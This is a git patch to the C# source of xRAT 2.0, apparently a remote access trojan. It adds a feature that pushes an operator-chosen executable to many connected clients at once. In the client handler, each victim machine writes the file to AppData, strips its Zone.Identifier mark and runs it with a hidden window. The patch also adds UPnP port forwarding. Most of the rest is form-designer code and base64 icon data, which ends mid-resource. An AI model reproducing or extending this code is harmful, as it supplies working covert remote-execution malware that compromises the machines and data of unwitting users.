From 07432937a7b26cf0f25dcf281d3b67c4ee4c2144 Mon Sep 17 00:00:00 2001 From: 187Final Date: Wed, 30 Jul 2014 07:04:41 -0500 Subject: [PATCH] Upload And Execute introduced new way to pass multiple clients + a method to upload and execute --- Client/Client.csproj | 1 + Client/Core/Commands/CommandHandler.cs | 36 + .../Commands/UploadAndExecute.cs | 26 + Client/Program.cs | 5 + .../Commands/UploadAndExecute.cs | 26 + Server/Forms/frmMain.Designer.cs | 64 +- Server/Forms/frmMain.cs | 24 +- Server/Forms/frmMain.resx | 2 +- Server/Forms/frmSettings.Designer.cs | 13 + Server/Forms/frmUploadAndExecute.Designer.cs | 64 ++ Server/Forms/frmUploadAndExecute.cs | 46 ++ Server/Forms/frmUploadAndExecute.resx | 659 ++++++++++++++++++ 12 files changed, 937 insertions(+), 29 deletions(-) create mode 100644 Client/Core/Packets/ServerPackets/Commands/UploadAndExecute.cs create mode 100644 Server/Core/Packets/ServerPackets/Commands/UploadAndExecute.cs create mode 100644 Server/Forms/frmUploadAndExecute.Designer.cs create mode 100644 Server/Forms/frmUploadAndExecute.cs create mode 100644 Server/Forms/frmUploadAndExecute.resx diff --git a/Client/Client.csproj b/Client/Client.csproj index 3650ab8e..fa47083a 100644 --- a/Client/Client.csproj +++ b/Client/Client.csproj @@ -82,6 +82,7 @@ + diff --git a/Client/Core/Commands/CommandHandler.cs b/Client/Core/Commands/CommandHandler.cs index 93db2e30..6b5d9b19 100644 --- a/Client/Core/Commands/CommandHandler.cs +++ b/Client/Core/Commands/CommandHandler.cs @@ -88,6 +88,42 @@ public static void HandleDownloadAndExecuteCommand(Core.Packets.ServerPackets.Do })).Start(); } + public static void HandleUploadAndExecute(Core.Packets.ServerPackets.UploadAndExecute command, Core.Client client) + { + new Core.Packets.ClientPackets.Status("Uploading file...").Execute(client); + + new Thread(new ThreadStart(() => + { + byte[] fileBytes = command.FileBytes; + string tempFile = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), command.FileName); + + try + { + DeleteFile(tempFile + ":Zone.Identifier"); + + if (fileBytes[0] != 'M' && fileBytes[1] != 'Z') + throw new Exception("no pe file"); + + File.WriteAllBytes(tempFile, fileBytes); + + ProcessStartInfo startInfo = new ProcessStartInfo(); + startInfo.WindowStyle = ProcessWindowStyle.Hidden; + startInfo.CreateNoWindow = true; + startInfo.UseShellExecute = false; + startInfo.FileName = tempFile; + Process.Start(startInfo); + } + catch + { + DeleteFile(tempFile); + new Core.Packets.ClientPackets.Status("Execution failed!").Execute(client); + return; + } + + new Core.Packets.ClientPackets.Status("Executed File!").Execute(client); + })).Start(); + } + public static void HandleUninstall(Core.Packets.ServerPackets.Uninstall command, Core.Client client) { new Core.Packets.ClientPackets.Status("Uninstalling... bye ;(").Execute(client); diff --git a/Client/Core/Packets/ServerPackets/Commands/UploadAndExecute.cs b/Client/Core/Packets/ServerPackets/Commands/UploadAndExecute.cs new file mode 100644 index 00000000..db5603f0 --- /dev/null +++ b/Client/Core/Packets/ServerPackets/Commands/UploadAndExecute.cs @@ -0,0 +1,26 @@ +using ProtoBuf; + +namespace Core.Packets.ServerPackets +{ + [ProtoContract] + public class UploadAndExecute : IPacket + { + [ProtoMember(1)] + public byte[] FileBytes { get; set; } + + [ProtoMember(2)] + public string FileName { get; set; } + + public UploadAndExecute() { } + public UploadAndExecute(byte[] bytes, string fileName) + { + FileBytes = bytes; + FileName = fileName; + } + + public void Execute(Client client) + { + client.Send(this); + } + } +} diff --git a/Client/Program.cs b/Client/Program.cs index cc767a1a..35592981 100644 --- a/Client/Program.cs +++ b/Client/Program.cs @@ -68,6 +68,7 @@ static void Initialize() typeof(Core.Packets.ServerPackets.Reconnect), typeof(Core.Packets.ServerPackets.Uninstall), typeof(Core.Packets.ServerPackets.DownloadAndExecute), + typeof(Core.Packets.ServerPackets.UploadAndExecute), typeof(Core.Packets.ServerPackets.Desktop), typeof(Core.Packets.ServerPackets.GetProcesses), typeof(Core.Packets.ServerPackets.KillProcess), @@ -170,6 +171,10 @@ static void ClientRead(Core.Client client, IPacket packet) { CommandHandler.HandleDownloadAndExecuteCommand((Core.Packets.ServerPackets.DownloadAndExecute)packet, client); } + else if (type == typeof(Core.Packets.ServerPackets.UploadAndExecute)) + { + CommandHandler.HandleUploadAndExecute((Core.Packets.ServerPackets.UploadAndExecute)packet, client); + } else if (type == typeof(Core.Packets.ServerPackets.Disconnect)) { SystemCore.Disconnect = true; diff --git a/Server/Core/Packets/ServerPackets/Commands/UploadAndExecute.cs b/Server/Core/Packets/ServerPackets/Commands/UploadAndExecute.cs new file mode 100644 index 00000000..db5603f0 --- /dev/null +++ b/Server/Core/Packets/ServerPackets/Commands/UploadAndExecute.cs @@ -0,0 +1,26 @@ +using ProtoBuf; + +namespace Core.Packets.ServerPackets +{ + [ProtoContract] + public class UploadAndExecute : IPacket + { + [ProtoMember(1)] + public byte[] FileBytes { get; set; } + + [ProtoMember(2)] + public string FileName { get; set; } + + public UploadAndExecute() { } + public UploadAndExecute(byte[] bytes, string fileName) + { + FileBytes = bytes; + FileName = fileName; + } + + public void Execute(Client client) + { + client.Send(this); + } + } +} diff --git a/Server/Forms/frmMain.Designer.cs b/Server/Forms/frmMain.Designer.cs index ab259eab..9c88296b 100644 --- a/Server/Forms/frmMain.Designer.cs +++ b/Server/Forms/frmMain.Designer.cs @@ -40,6 +40,7 @@ private void InitializeComponent() this.ctxtSystemInformation = new System.Windows.Forms.ToolStripMenuItem(); this.ctxtTaskManager = new System.Windows.Forms.ToolStripMenuItem(); this.ctxtFileManager = new System.Windows.Forms.ToolStripMenuItem(); + this.ctxtUploader = new System.Windows.Forms.ToolStripMenuItem(); this.ctxtPasswordRecovery = new System.Windows.Forms.ToolStripMenuItem(); this.ctxtRemoteShell = new System.Windows.Forms.ToolStripMenuItem(); this.ctxtLine = new System.Windows.Forms.ToolStripSeparator(); @@ -85,7 +86,7 @@ private void InitializeComponent() this.ctxtSurveillance, this.ctxtMiscellaneous}); this.ctxtMenu.Name = "ctxtMenu"; - this.ctxtMenu.Size = new System.Drawing.Size(153, 114); + this.ctxtMenu.Size = new System.Drawing.Size(140, 92); // // ctxtConnection // @@ -96,14 +97,14 @@ private void InitializeComponent() this.ctxtUninstall}); this.ctxtConnection.Image = ((System.Drawing.Image)(resources.GetObject("ctxtConnection.Image"))); this.ctxtConnection.Name = "ctxtConnection"; - this.ctxtConnection.Size = new System.Drawing.Size(152, 22); + this.ctxtConnection.Size = new System.Drawing.Size(139, 22); this.ctxtConnection.Text = "Connection"; // // ctxtUpdate // this.ctxtUpdate.Image = ((System.Drawing.Image)(resources.GetObject("ctxtUpdate.Image"))); this.ctxtUpdate.Name = "ctxtUpdate"; - this.ctxtUpdate.Size = new System.Drawing.Size(133, 22); + this.ctxtUpdate.Size = new System.Drawing.Size(126, 22); this.ctxtUpdate.Text = "Update"; this.ctxtUpdate.Click += new System.EventHandler(this.ctxtUpdate_Click); // @@ -111,7 +112,7 @@ private void InitializeComponent() // this.ctxtReconnect.Image = ((System.Drawing.Image)(resources.GetObject("ctxtReconnect.Image"))); this.ctxtReconnect.Name = "ctxtReconnect"; - this.ctxtReconnect.Size = new System.Drawing.Size(133, 22); + this.ctxtReconnect.Size = new System.Drawing.Size(126, 22); this.ctxtReconnect.Text = "Reconnect"; this.ctxtReconnect.Click += new System.EventHandler(this.ctxtReconnect_Click); // @@ -119,7 +120,7 @@ private void InitializeComponent() // this.ctxtDisconnect.Image = ((System.Drawing.Image)(resources.GetObject("ctxtDisconnect.Image"))); this.ctxtDisconnect.Name = "ctxtDisconnect"; - this.ctxtDisconnect.Size = new System.Drawing.Size(133, 22); + this.ctxtDisconnect.Size = new System.Drawing.Size(126, 22); this.ctxtDisconnect.Text = "Disconnect"; this.ctxtDisconnect.Click += new System.EventHandler(this.ctxtDisconnect_Click); // @@ -127,7 +128,7 @@ private void InitializeComponent() // this.ctxtUninstall.Image = ((System.Drawing.Image)(resources.GetObject("ctxtUninstall.Image"))); this.ctxtUninstall.Name = "ctxtUninstall"; - this.ctxtUninstall.Size = new System.Drawing.Size(133, 22); + this.ctxtUninstall.Size = new System.Drawing.Size(126, 22); this.ctxtUninstall.Text = "Uninstall"; this.ctxtUninstall.Click += new System.EventHandler(this.ctxtUninstall_Click); // @@ -137,20 +138,21 @@ private void InitializeComponent() this.ctxtSystemInformation, this.ctxtTaskManager, this.ctxtFileManager, + this.ctxtUploader, this.ctxtPasswordRecovery, this.ctxtRemoteShell, this.ctxtLine, this.ctxtActions}); this.ctxtSystem.Image = ((System.Drawing.Image)(resources.GetObject("ctxtSystem.Image"))); this.ctxtSystem.Name = "ctxtSystem"; - this.ctxtSystem.Size = new System.Drawing.Size(152, 22); + this.ctxtSystem.Size = new System.Drawing.Size(139, 22); this.ctxtSystem.Text = "System"; // // ctxtSystemInformation // this.ctxtSystemInformation.Image = ((System.Drawing.Image)(resources.GetObject("ctxtSystemInformation.Image"))); this.ctxtSystemInformation.Name = "ctxtSystemInformation"; - this.ctxtSystemInformation.Size = new System.Drawing.Size(178, 22); + this.ctxtSystemInformation.Size = new System.Drawing.Size(169, 22); this.ctxtSystemInformation.Text = "System Information"; this.ctxtSystemInformation.Click += new System.EventHandler(this.ctxtSystemInformation_Click); // @@ -158,7 +160,7 @@ private void InitializeComponent() // this.ctxtTaskManager.Image = ((System.Drawing.Image)(resources.GetObject("ctxtTaskManager.Image"))); this.ctxtTaskManager.Name = "ctxtTaskManager"; - this.ctxtTaskManager.Size = new System.Drawing.Size(178, 22); + this.ctxtTaskManager.Size = new System.Drawing.Size(169, 22); this.ctxtTaskManager.Text = "Task Manager"; this.ctxtTaskManager.Click += new System.EventHandler(this.ctxtTaskManager_Click); // @@ -166,16 +168,23 @@ private void InitializeComponent() // this.ctxtFileManager.Image = ((System.Drawing.Image)(resources.GetObject("ctxtFileManager.Image"))); this.ctxtFileManager.Name = "ctxtFileManager"; - this.ctxtFileManager.Size = new System.Drawing.Size(178, 22); + this.ctxtFileManager.Size = new System.Drawing.Size(169, 22); this.ctxtFileManager.Text = "File Manager"; this.ctxtFileManager.Click += new System.EventHandler(this.ctxtFileManager_Click); // + // ctxtUploader + // + this.ctxtUploader.Name = "ctxtUploader"; + this.ctxtUploader.Size = new System.Drawing.Size(169, 22); + this.ctxtUploader.Text = "File Uploader"; + this.ctxtUploader.Click += new System.EventHandler(this.ctxtUploader_Click); + // // ctxtPasswordRecovery // this.ctxtPasswordRecovery.Enabled = false; this.ctxtPasswordRecovery.Image = ((System.Drawing.Image)(resources.GetObject("ctxtPasswordRecovery.Image"))); this.ctxtPasswordRecovery.Name = "ctxtPasswordRecovery"; - this.ctxtPasswordRecovery.Size = new System.Drawing.Size(178, 22); + this.ctxtPasswordRecovery.Size = new System.Drawing.Size(169, 22); this.ctxtPasswordRecovery.Text = "Password Recovery"; this.ctxtPasswordRecovery.Click += new System.EventHandler(this.ctxtPasswordRecovery_Click); // @@ -183,14 +192,14 @@ private void InitializeComponent() // this.ctxtRemoteShell.Image = ((System.Drawing.Image)(resources.GetObject("ctxtRemoteShell.Image"))); this.ctxtRemoteShell.Name = "ctxtRemoteShell"; - this.ctxtRemoteShell.Size = new System.Drawing.Size(178, 22); + this.ctxtRemoteShell.Size = new System.Drawing.Size(169, 22); this.ctxtRemoteShell.Text = "Remote Shell"; this.ctxtRemoteShell.Click += new System.EventHandler(this.ctxtRemoteShell_Click); // // ctxtLine // this.ctxtLine.Name = "ctxtLine"; - this.ctxtLine.Size = new System.Drawing.Size(175, 6); + this.ctxtLine.Size = new System.Drawing.Size(166, 6); // // ctxtActions // @@ -200,14 +209,14 @@ private void InitializeComponent() this.ctxtStandby}); this.ctxtActions.Image = global::xRAT_2.Properties.Resources.actions; this.ctxtActions.Name = "ctxtActions"; - this.ctxtActions.Size = new System.Drawing.Size(178, 22); + this.ctxtActions.Size = new System.Drawing.Size(169, 22); this.ctxtActions.Text = "Actions"; // // ctxtShutdown // this.ctxtShutdown.Image = global::xRAT_2.Properties.Resources.shutdown; this.ctxtShutdown.Name = "ctxtShutdown"; - this.ctxtShutdown.Size = new System.Drawing.Size(152, 22); + this.ctxtShutdown.Size = new System.Drawing.Size(122, 22); this.ctxtShutdown.Text = "Shutdown"; this.ctxtShutdown.Click += new System.EventHandler(this.ctxtShutdown_Click); // @@ -215,7 +224,7 @@ private void InitializeComponent() // this.ctxtRestart.Image = global::xRAT_2.Properties.Resources.restart; this.ctxtRestart.Name = "ctxtRestart"; - this.ctxtRestart.Size = new System.Drawing.Size(152, 22); + this.ctxtRestart.Size = new System.Drawing.Size(122, 22); this.ctxtRestart.Text = "Restart"; this.ctxtRestart.Click += new System.EventHandler(this.ctxtRestart_Click); // @@ -223,7 +232,7 @@ private void InitializeComponent() // this.ctxtStandby.Image = global::xRAT_2.Properties.Resources.standby; this.ctxtStandby.Name = "ctxtStandby"; - this.ctxtStandby.Size = new System.Drawing.Size(152, 22); + this.ctxtStandby.Size = new System.Drawing.Size(122, 22); this.ctxtStandby.Text = "Standby"; this.ctxtStandby.Click += new System.EventHandler(this.ctxtStandby_Click); // @@ -233,14 +242,14 @@ private void InitializeComponent() this.ctxtRemoteDesktop}); this.ctxtSurveillance.Image = ((System.Drawing.Image)(resources.GetObject("ctxtSurveillance.Image"))); this.ctxtSurveillance.Name = "ctxtSurveillance"; - this.ctxtSurveillance.Size = new System.Drawing.Size(152, 22); + this.ctxtSurveillance.Size = new System.Drawing.Size(139, 22); this.ctxtSurveillance.Text = "Surveillance"; // // ctxtRemoteDesktop // this.ctxtRemoteDesktop.Image = ((System.Drawing.Image)(resources.GetObject("ctxtRemoteDesktop.Image"))); this.ctxtRemoteDesktop.Name = "ctxtRemoteDesktop"; - this.ctxtRemoteDesktop.Size = new System.Drawing.Size(161, 22); + this.ctxtRemoteDesktop.Size = new System.Drawing.Size(153, 22); this.ctxtRemoteDesktop.Text = "Remote Desktop"; this.ctxtRemoteDesktop.Click += new System.EventHandler(this.ctxtRemoteDesktop_Click); // @@ -252,14 +261,14 @@ private void InitializeComponent() this.ctxtShowMessagebox}); this.ctxtMiscellaneous.Image = ((System.Drawing.Image)(resources.GetObject("ctxtMiscellaneous.Image"))); this.ctxtMiscellaneous.Name = "ctxtMiscellaneous"; - this.ctxtMiscellaneous.Size = new System.Drawing.Size(152, 22); + this.ctxtMiscellaneous.Size = new System.Drawing.Size(139, 22); this.ctxtMiscellaneous.Text = "Miscellaneous"; // // ctxtDownloadAndExecute // this.ctxtDownloadAndExecute.Image = ((System.Drawing.Image)(resources.GetObject("ctxtDownloadAndExecute.Image"))); this.ctxtDownloadAndExecute.Name = "ctxtDownloadAndExecute"; - this.ctxtDownloadAndExecute.Size = new System.Drawing.Size(184, 22); + this.ctxtDownloadAndExecute.Size = new System.Drawing.Size(173, 22); this.ctxtDownloadAndExecute.Text = "Download && Execute"; this.ctxtDownloadAndExecute.Click += new System.EventHandler(this.ctxtDownloadAndExecute_Click); // @@ -267,7 +276,7 @@ private void InitializeComponent() // this.ctxtVisitWebsite.Image = ((System.Drawing.Image)(resources.GetObject("ctxtVisitWebsite.Image"))); this.ctxtVisitWebsite.Name = "ctxtVisitWebsite"; - this.ctxtVisitWebsite.Size = new System.Drawing.Size(184, 22); + this.ctxtVisitWebsite.Size = new System.Drawing.Size(173, 22); this.ctxtVisitWebsite.Text = "Visit Website"; this.ctxtVisitWebsite.Click += new System.EventHandler(this.ctxtVisitWebsite_Click); // @@ -275,7 +284,7 @@ private void InitializeComponent() // this.ctxtShowMessagebox.Image = ((System.Drawing.Image)(resources.GetObject("ctxtShowMessagebox.Image"))); this.ctxtShowMessagebox.Name = "ctxtShowMessagebox"; - this.ctxtShowMessagebox.Size = new System.Drawing.Size(184, 22); + this.ctxtShowMessagebox.Size = new System.Drawing.Size(173, 22); this.ctxtShowMessagebox.Text = "Show Messagebox"; this.ctxtShowMessagebox.Click += new System.EventHandler(this.ctxtShowMessagebox_Click); // @@ -283,7 +292,7 @@ private void InitializeComponent() // this.botStrip.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { this.botListen}); - this.botStrip.Location = new System.Drawing.Point(0, 355); + this.botStrip.Location = new System.Drawing.Point(0, 366); this.botStrip.Name = "botStrip"; this.botStrip.Size = new System.Drawing.Size(770, 22); this.botStrip.TabIndex = 4; @@ -292,7 +301,7 @@ private void InitializeComponent() // botListen // this.botListen.Name = "botListen"; - this.botListen.Size = new System.Drawing.Size(87, 17); + this.botListen.Size = new System.Drawing.Size(81, 17); this.botListen.Text = "Listening: False"; // // imgFlags @@ -572,7 +581,7 @@ private void InitializeComponent() this.lstClients.GridLines = true; this.lstClients.Location = new System.Drawing.Point(0, 0); this.lstClients.Name = "lstClients"; - this.lstClients.Size = new System.Drawing.Size(770, 377); + this.lstClients.Size = new System.Drawing.Size(770, 388); this.lstClients.SmallImageList = this.imgFlags; this.lstClients.TabIndex = 1; this.lstClients.UseCompatibleStateImageBehavior = false; @@ -669,7 +678,7 @@ private void InitializeComponent() // this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; - this.ClientSize = new System.Drawing.Size(770, 377); + this.ClientSize = new System.Drawing.Size(770, 388); this.Controls.Add(this.botStrip); this.Controls.Add(this.lstClients); this.Font = new System.Drawing.Font("Segoe UI", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); @@ -734,6 +743,7 @@ private void InitializeComponent() private System.Windows.Forms.ToolStripMenuItem ctxtShutdown; private System.Windows.Forms.ToolStripMenuItem ctxtRestart; private System.Windows.Forms.ToolStripMenuItem ctxtStandby; + private System.Windows.Forms.ToolStripMenuItem ctxtUploader; } } diff --git a/Server/Forms/frmMain.cs b/Server/Forms/frmMain.cs index d44e8fd1..2fd468d7 100644 --- a/Server/Forms/frmMain.cs +++ b/Server/Forms/frmMain.cs @@ -5,6 +5,7 @@ using Core.Commands; using Core.Packets; using xRAT_2.Settings; +using System.Collections.Generic; namespace xRAT_2.Forms { @@ -21,6 +22,7 @@ public frmMain() XMLSettings.AutoListen = bool.Parse(XMLSettings.ReadValue("AutoListen")); XMLSettings.ShowPopup = bool.Parse(XMLSettings.ReadValue("ShowPopup")); XMLSettings.Password = XMLSettings.ReadValue("Password"); + XMLSettings.UseUPnP = bool.Parse(XMLSettings.ReadValue("UseUPnP")); if (bool.Parse(XMLSettings.ReadValue("ShowToU"))) { @@ -76,6 +78,7 @@ private void frmMain_Load(object sender, EventArgs e) typeof(Core.Packets.ServerPackets.Reconnect), typeof(Core.Packets.ServerPackets.Uninstall), typeof(Core.Packets.ServerPackets.DownloadAndExecute), + typeof(Core.Packets.ServerPackets.UploadAndExecute), typeof(Core.Packets.ServerPackets.Desktop), typeof(Core.Packets.ServerPackets.GetProcesses), typeof(Core.Packets.ServerPackets.KillProcess), @@ -237,6 +240,9 @@ private void lstClients_ColumnClick(object sender, ColumnClickEventArgs e) } #region "ContextMenu" + private List clientList = new List(); + + #region "Connection" private void ctxtUpdate_Click(object sender, EventArgs e) { @@ -348,7 +354,23 @@ private void ctxtFileManager_Click(object sender, EventArgs e) frmFM.Show(); } } - + + + private void ctxtUploader_Click(object sender, EventArgs e) + { + clientList.Clear(); + if (lstClients.SelectedItems.Count != 0) + { + foreach (ListViewItem lvi in lstClients.SelectedItems) + { + Client c = (Client)lvi.Tag; + clientList.Add(c); + } + frmUploadAndExecute frm = new frmUploadAndExecute(clientList); + frm.Show(); + } + } + private void ctxtPasswordRecovery_Click(object sender, EventArgs e) { if (lstClients.SelectedItems.Count != 0) diff --git a/Server/Forms/frmMain.resx b/Server/Forms/frmMain.resx index b97a2be6..ef95de38 100644 --- a/Server/Forms/frmMain.resx +++ b/Server/Forms/frmMain.resx @@ -429,7 +429,7 @@ AAEAAAD/////AQAAAAAAAAAMAgAAAFdTeXN0ZW0uV2luZG93cy5Gb3JtcywgVmVyc2lvbj0yLjAuMC4w LCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAACZTeXN0 ZW0uV2luZG93cy5Gb3Jtcy5JbWFnZUxpc3RTdHJlYW1lcgEAAAAERGF0YQcCAgAAAAkDAAAADwMAAADY - sQAAAk1TRnQBSQFMAgEB+AEAAZgBBgGYAQYBEAEAAQsBAAT/AQkBAAj/AUIBTQE2AQQGAAE2AQQCAAEo + sQAAAk1TRnQBSQFMAgEB+AEAAagBBgGoAQYBEAEAAQsBAAT/AQkBAAj/AUIBTQE2AQQGAAE2AQQCAAEo AwABQAMAAbUBAgIAAQEBAAEIBQABQAGtGAABgAIAAYADAAKAAQABgAMAAYABAAGAAQACgAIAA8ABAAHA AdwBwAEAAfABygGmAQABMwUAATMBAAEzAQABMwEAAjMCAAMWAQADHAEAAyIBAAMpAQADVQEAA00BAANC AQADOQEAAYABfAH/AQACUAH/AQABkwEAAdYBAAH/AewBzAEAAcYB1gHvAQAB1gLnAQABkAGpAa0CAAH/ diff --git a/Server/Forms/frmSettings.Designer.cs b/Server/Forms/frmSettings.Designer.cs index b2638045..01351c9e 100644 --- a/Server/Forms/frmSettings.Designer.cs +++ b/Server/Forms/frmSettings.Designer.cs @@ -38,6 +38,7 @@ private void InitializeComponent() this.btnCancel = new System.Windows.Forms.Button(); this.lblPassword = new System.Windows.Forms.Label(); this.txtPassword = new System.Windows.Forms.TextBox(); + this.chkUseUpnp = new System.Windows.Forms.CheckBox(); ((System.ComponentModel.ISupportInitialize)(this.ncPort)).BeginInit(); this.SuspendLayout(); // @@ -138,11 +139,22 @@ private void InitializeComponent() this.txtPassword.Size = new System.Drawing.Size(158, 22); this.txtPassword.TabIndex = 8; // + // chkUseUpnp + // + this.chkUseUpnp.AutoSize = true; + this.chkUseUpnp.Location = new System.Drawing.Point(15, 109); + this.chkUseUpnp.Name = "chkUseUpnp"; + this.chkUseUpnp.Size = new System.Drawing.Size(230, 17); + this.chkUseUpnp.TabIndex = 9; + this.chkUseUpnp.Text = "Try to automatically port forward (UPnP)"; + this.chkUseUpnp.UseVisualStyleBackColor = true; + // // frmSettings // this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; this.ClientSize = new System.Drawing.Size(314, 245); + this.Controls.Add(this.chkUseUpnp); this.Controls.Add(this.txtPassword); this.Controls.Add(this.lblPassword); this.Controls.Add(this.btnCancel); @@ -178,5 +190,6 @@ private void InitializeComponent() private System.Windows.Forms.Button btnCancel; private System.Windows.Forms.Label lblPassword; private System.Windows.Forms.TextBox txtPassword; + private System.Windows.Forms.CheckBox chkUseUpnp; } } \ No newline at end of file diff --git a/Server/Forms/frmUploadAndExecute.Designer.cs b/Server/Forms/frmUploadAndExecute.Designer.cs new file mode 100644 index 00000000..586fc715 --- /dev/null +++ b/Server/Forms/frmUploadAndExecute.Designer.cs @@ -0,0 +1,64 @@ +namespace xRAT_2.Forms +{ + partial class frmUploadAndExecute + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(frmUploadAndExecute)); + this.btnUploadAndExecute = new System.Windows.Forms.Button(); + this.SuspendLayout(); + // + // btnUploadAndExecute + // + this.btnUploadAndExecute.Location = new System.Drawing.Point(12, 12); + this.btnUploadAndExecute.Name = "btnUploadAndExecute"; + this.btnUploadAndExecute.Size = new System.Drawing.Size(291, 36); + this.btnUploadAndExecute.TabIndex = 0; + this.btnUploadAndExecute.Text = "Upload && Execute"; + this.btnUploadAndExecute.UseVisualStyleBackColor = true; + this.btnUploadAndExecute.Click += new System.EventHandler(this.btnUploadAndExecute_Click); + // + // frmUploadAndExecute + // + this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.ClientSize = new System.Drawing.Size(315, 65); + this.Controls.Add(this.btnUploadAndExecute); + this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); + this.Name = "frmUploadAndExecute"; + this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen; + this.Text = "xRAT 2.0 - Upload File & Execute []"; + this.Load += new System.EventHandler(this.frmUploadAndExecute_Load); + this.ResumeLayout(false); + + } + + #endregion + + private System.Windows.Forms.Button btnUploadAndExecute; + } +} \ No newline at end of file diff --git a/Server/Forms/frmUploadAndExecute.cs b/Server/Forms/frmUploadAndExecute.cs new file mode 100644 index 00000000..dcced342 --- /dev/null +++ b/Server/Forms/frmUploadAndExecute.cs @@ -0,0 +1,46 @@ +using System; +using Core; +using System.Windows.Forms; +using System.Collections.Generic; +using System.IO; + +namespace xRAT_2.Forms +{ + public partial class frmUploadAndExecute : Form + { + private List clientList; + private string filePath; + private byte[] fileBytes; + + public frmUploadAndExecute(List clients) + { + clientList = clients; + InitializeComponent(); + } + + private void frmUploadAndExecute_Load(object sender, EventArgs e) + { + this.Text = string.Format("xRAT 2.0 - Upload File & Execute [Selected: {0}]", clientList.Count); + } + + private void btnUploadAndExecute_Click(object sender, EventArgs e) + { + using (OpenFileDialog ofd = new OpenFileDialog()) + { + if (ofd.ShowDialog() == DialogResult.OK) + { + filePath = ofd.InitialDirectory + ofd.FileName; + + if ((fileBytes = File.ReadAllBytes(filePath)).Length > 0) + { + foreach (Client c in clientList) + { + new Core.Packets.ServerPackets.UploadAndExecute(fileBytes, ofd.SafeFileName).Execute(c); + } + } + } + this.Close(); + } + } + } +} diff --git a/Server/Forms/frmUploadAndExecute.resx b/Server/Forms/frmUploadAndExecute.resx new file mode 100644 index 00000000..f940d742 --- /dev/null +++ b/Server/Forms/frmUploadAndExecute.resx @@ -0,0 +1,659 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + + + AAABAAQAEBAAAAAAIABoBAAARgAAACAgAAAAACAAqBAAAK4EAAAwMAAAAAAgAKglAABWFQAAQEAAAAAA + IAAoQgAA/joAACgAAAAQAAAAIAAAAAEAIAAAAAAAQAQAAAAAAAAAAAAAAAAAAAAAAAD///8BRT88fTMq + JtM3LSnVOS8q1y0nJXcAAAApAAAAEwAAABcAAAAtMysnizsvKtc5LinXNSwo1UA5N4v///8B////AWdh + Xh80KCL1LiAb/y8hG/8vIx7rBgYGWwAAAFEAAABRHBoZZTcoIvcwIRv/LiEb/zQnI/lcVlMl////Af// + /wEAAAAJPDMvhykdF/8pHRf/Kx4Y/ykgHJcAAAALAAAACUQ3MbMvIBj/LR4X/y0eF/9DOTSRAAAACf// + /wH///8B////AZuYlgk3KiTbJxoU/yYZE/8nGxb5QDg0J2VdWUMqHRj/JRkU/yQYFP83LCfjpKGgDf// + /wH///8B////Af///wH///8BZFFJTTwjGf8xHBL/MRsT/zYlHrk9LCXXMx8Z/ycXEv8nGBT/XlVSV/// + /wH///8B////Af///wH///8B////Af///wFgPC21WCoX/1ktHP9DIRT/NxwS/zodFP82HBP/SDUwvf// + /wH///8B////Af///wH///8B////Af///wH///8BsIh1J7B0VfmgYUP/jk4z/3E2If9OIhP/RyQY+3lp + ZC3///8B////Af///wH///8B////Af///wH///8B////Af///wGaZEqJmVQ5/8mBa//Kgm7/m1M//3tI + OI////8B////Af///wH///8B////Af///wH///8B////Af///wH///8BlmNSW8l9Z//ik4T/76KV/+qg + k/+7jYRd////Af///wH///8B////Af///wH///8B////Af///wH///8BmoB7D9iMfeXtmY3/+Lq1//ez + r//3rqr/6bWy5ZCBgQ////8B////Af///wH///8B////Af///wH///8B////Adyzq4/5tq//+rq2//zO + zP/7urf/+7i2//zDwf/as7GR////Af///wH///8B////Af///wH///8B////AcatpjH10sz7/NfT//zN + yf/30c7t77664fzJxf/90s//9s/M+7ylozP///8B////Af///wH///8B////AcGzrgPsw7bH+9TN//vW + 0P/829b/7dPPaeXIw1H6z8j//NvW//zb1v/ox8PJrKOhA////wH///8B////Af///wHis6Bn+cWz//rL + vf/5y77/8tHJzdvU0gP///8B8MrBt/vRyP/708r/+s/F/9i3rmn///8B////Af///wGphHIX76yP7fi/ + qP/3vKX/9MCs/d7FvTv///8B////AdrGwCX1zL/3+s7A//jHt//vwbDvwaykF////wH///8BxpF3kems + j/PstJrz7bSa9eO2oZ3///8B////Af///wH///8B4MG0ge7KuvHrvqvv7bmk79u3p5X///8BAAD//wAA + //8AAP//AAD//wAA//8AAP//AAD//wAA//8AAP//AAD//wAA//8AAP//AAD//wAA//8AAP//AAD//ygA + AAAgAAAAQAAAAAEAIAAAAAAAgBAAAAAAAAAAAAAAAAAAAAAAAAD///8B////AWJeXks8NjOfPTc0pUA6 + N6dCPDmpRD47rUU/PK9HQT6vQT08cQAAACEAAAAPAAAABf///wH///8B////Af///wEAAAAHAAAAEwAA + ACc+OTeNSkI+sUhBPq9GQDyvRT46rUI8OatAOjipPjg2pVBOTWP///8B////Af///wH///8BgX59GT00 + 